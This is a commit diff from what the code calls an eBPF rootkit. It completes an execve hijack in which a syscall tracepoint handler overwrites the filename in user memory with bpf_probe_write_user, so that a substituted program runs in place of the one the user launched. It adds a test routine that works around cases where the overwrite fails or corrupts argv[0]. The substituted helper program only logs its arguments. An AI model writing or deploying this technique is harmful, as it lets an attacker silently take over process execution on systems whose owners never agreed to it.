Completed execve hijacking, as with special error cases that arise and that are documented in the code.

src/ebpf/include/bpf/exec.h

@@ -23,12 +23,65 @@ struct sys_execve_enter_ctx {
     unsigned long long unused;
     int __syscall_nr;
     unsigned int padding;
-    char* filename;
+    const char* filename;
     const char* const* argv;
     const char* const* envp;
 };
 
+/**
+ * @brief Checks for the error case 2 described in the execve handler when overwriting the filename userspace buffer.
+ * 
+ * @param ctx 
+ * @return 0 if OK, -1 if error exists
+ */
+static __always_inline int test_write_user_unique(struct sys_execve_enter_ctx *ctx, char* org_filename, char* org_argv){
+    unsigned char* argv[1] = {0};
+    unsigned char filename[1] = {0};
+    char* chosen_comp_char = "w\0";
+    if(ctx==NULL || ctx->argv == NULL|| org_filename==NULL){
+        return -1;
+    }
+    char org_argv_c;
+    if(bpf_probe_read(&org_argv_c, 1, org_argv)<0){
+        bpf_printk("Error reading test 3\n");
+        return -1;
+    }
+    //if(str_n_compare((char*)org_argv, 1, (char*)chosen_comp_char, 1, 1)==0){
+    if(org_argv_c == 'w'){
+        //Better not to go with this case, we won't be able to know whether that was a coincidence
+        bpf_printk("Equal from the start\n");
+        return -1;
+    }
+    if(bpf_probe_write_user((void*)(ctx->filename), (void*)chosen_comp_char, 1)<0){
+        bpf_printk("Error writing to user memory at test by %s\n", org_filename);
+        return -1;
+    }
+    if(bpf_probe_read_user(&argv, 1, ctx->argv)<0){
+        bpf_printk("Error reading test 1\n");
+        return -1;
+    };
+    if(bpf_probe_read_user(&filename, 1, ctx->filename)<0){
+        bpf_printk("Error reading tets 2\n");
+        return -1;
+    };
+    char argv_c;
+    if(bpf_probe_read(&argv_c, 1, org_argv)<0){
+        bpf_printk("Error reading test 3\n");
+        return -1;
+    }
+    if(argv_c == 'w'){
+        //Now they are equal, so we are in the error case 2. We must revert our changes
+        bpf_printk("Error case 2\n");
+        bpf_probe_write_user((void*)(ctx->filename), (void*)org_filename, 1);
+        return -1;
+    }
+    bpf_printk("Char was %u\n", argv_c);
+    //Everything went fine, but let's fix our modification anyways since the next write to user memory, which
+    //implies more bytes, may fail.
+    bpf_probe_write_user((void*)(ctx->filename), (void*)org_filename, 1);
+    return 0;
 
+}
 
 static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx, __u64 pid_tgid){
     unsigned char* argv[NUMBER_ARGUMENTS_PARSED] = {0};
@@ -47,48 +100,81 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
         bpf_printk("Error reading 3\n");
     };
 
-    bpf_printk("ARGV0: %s\n", argv[0]);
+    bpf_printk("OLD ARGV0: %s\n", argv[0]);
     bpf_printk("ARGV1: %s\n", argv[1]);
     bpf_printk("ARGV2: %s\n", argv[2]);
     //bpf_printk("ENVP: %s\n", envp);
     bpf_printk("FILENAME: %s\n", filename);
+    if((void*)ctx->filename==(void*)(ctx->argv)){
+        bpf_printk("Equal pointers");
+    }else{
+        bpf_printk("Not equal pointers %u, %u", ctx->filename, ctx->argv);
+    }
 
     if(str_n_compare((char*)filename, ARGUMENT_LENGTH, (char*)PATH_EXECUTION_HIJACK_PROGRAM, sizeof(PATH_EXECUTION_HIJACK_PROGRAM), sizeof(PATH_EXECUTION_HIJACK_PROGRAM)-1)!=0){
         //return 0;
     }
-    
-    bpf_printk("Our file!\n");
+
     /*
     eBPF can only modify user memory, and thus we may find ourselves into trouble here
     As it can be here https://elixir.bootlin.com/linux/v5.11/source/fs/exec.c#L2054
-    we receive an userspace buffer, but this is later tweaked via getname().
-    Thus we may not have user-accessible memory, however from my experience it works _sometimes_.
-    The idea is to hook all execve calls, but the first execution of our userspace helper will
-    deactivate this hook.
-    Also another solution could be to hook do_execve and access the filename struct, which still contians
-    an userspace buffer inside.
+    we receive an userspace buffer, which is later tweaked via getname().
+    Since we are hooking before that call, we should have user-accessible memory, however from my experience it works *only sometimes*.
+    This seems very related https://stackoverflow.com/questions/63114141/how-to-modify-userspace-memory-using-ebpf
+    And this thread discusses the issue https://www.spinics.net/lists/bpf/msg16795.html
+    However, there is no clear solution. bpf_probe_write_user is simply not reliable enough. Two problems arise:
+    1* The call simply fails and returns EFAULT(-14). This happens apparently randomly in some calls, but for some paths it ALWAYS happens,
+       while others always work.
+    2* The call not only overwrites the filename, but also argv[0] with a single write. This may be related to userspace programs using
+       the same buffer for both filename and argv[0], since it is the same data in the end. Accordingly, when this event happens both
+       the pointers are very close to one another (196 bytes exactly), but not pointing to the same exact location, which is a mystery.
+    
+    Another solution could be to hook do_execve and access the filename struct, which still contians
+    an userspace buffer with filename inside. However if we failed to overwrite it before, we will too now.
+    Also we can overwrite the return value of the syscall, pass the arguments to the internal ring buffer, read it from the
+    user-side of the rootkit, and fork a process with the requested execve() call. I considered this not to be good enough.
     */
 
     char to_write[sizeof(PATH_EXECUTION_HIJACK_PROGRAM)] = {0};
-
     #pragma unroll
     for(int ii=0; ii<sizeof(PATH_EXECUTION_HIJACK_PROGRAM); ii++){
         (to_write[ii]) = PATH_EXECUTION_HIJACK_PROGRAM[ii];
     }
-    
-    bpf_printk("To write: %s\n", to_write);
 
-    long ret = bpf_probe_write_user((void*)(ctx->filename), (void*)to_write, (__u32)sizeof(PATH_EXECUTION_HIJACK_PROGRAM));
-    if(ret<0){
-        bpf_printk("Error writing to user memory %i\n", ret);
+    if(argv[0]==NULL){
+        return -1;
+    }
+
+    //Provided that the case error 2 may happen, we check if we are on that case before going ahead and overwriting everything.
+    if(test_write_user_unique(ctx, (char*)filename, (char*)argv[0])!=0){
+        bpf_printk("Test failed\n");
+        return -1;
+    }else{
+        bpf_printk("Test completed\n");
+    }
+
+    if(bpf_probe_write_user((void*)(ctx->filename), (void*)to_write, (__u32)sizeof(PATH_EXECUTION_HIJACK_PROGRAM))<0){
+        bpf_printk("Error writing to user memory by %s\n", filename);
+        //bpf_printk("NEW ARGV0: %s\n", argv[0]);
+        //bpf_printk("ARGV1: %s\n", argv[1]);
+        //bpf_printk("ARGV2: %s\n", argv[2]);
         return -1;
     }
 
     unsigned char newfilename[ARGUMENT_LENGTH] = {0};
+    unsigned char* newargv[NUMBER_ARGUMENTS_PARSED] = {0};
     if(bpf_probe_read_user(&newfilename, ARGUMENT_LENGTH, ctx->filename)<0){
-        bpf_printk("Error reading 3\n");
+        bpf_printk("Error reading\n");
     };
-    bpf_printk("NEW FILENAME: %s\n", newfilename);
+    if(bpf_probe_read_user(&newargv, ARGUMENT_LENGTH, ctx->argv)<0){
+        bpf_printk("Error reading 1\n");
+    };
+
+    bpf_printk("SUCCESS NEW FILENAME: %s\n", newfilename);
+    bpf_printk("NEW ARGV0: %s\n\n", newargv[0]);
+    /*bpf_printk("ARGV1: %s\n", argv[1]);
+    bpf_printk("ARGV2: %s\n", argv[2]);
+    bpf_printk("ORIGINAL %s\n\n", filename);*/
 
     return 0;
 }

src/helpers/execve_hijack.c

@@ -4,20 +4,42 @@
 #include <sys/stat.h>
 #include <fcntl.h>
 #include <unistd.h>
+#include <time.h>
+
+char* buf = "A string";
 
 int main(int argc, char* argv[]){
     printf("Hello world from execve hijacker\n");
+
+    time_t rawtime;
+    struct tm * timeinfo;
+
+    time ( &rawtime );
+    timeinfo = localtime ( &rawtime );
+    char* timestr = asctime(timeinfo);
+
     for(int ii=0; ii<argc; ii++){
         printf("Argument %i is %s\n", ii, argv[ii]);
     }
 
-    int fd = open("/tmp/testcreated", O_RDWR | O_CREAT | O_TRUNC, 0666);
+    int fd = open("/tmp/execve_hijack", O_RDWR | O_CREAT | O_TRUNC, 0666);
     
     int ii = 0;
+    while(*(timestr+ii)!='\0'){
+        write(fd, timestr+ii, 1);
+        ii++;
+    }
+    write(fd, "\t", 1);
+    
+    ii = 0;
     while(*(argv[0]+ii)!='\0'){
         write(fd, argv[0]+ii, 1);
         ii++;
     }
 
+    write(fd, "\n", 1);
+
+    close(fd);
+
     return 0;
 }

src/user/kit.c

@@ -25,7 +25,6 @@
 		goto cleanup\
 	}
 
-
 static struct env {
 	bool verbose;
 } env;
@@ -243,4 +242,4 @@ cleanup:
 	if(err!=0) return -1;
 
     return 0;
-}
+}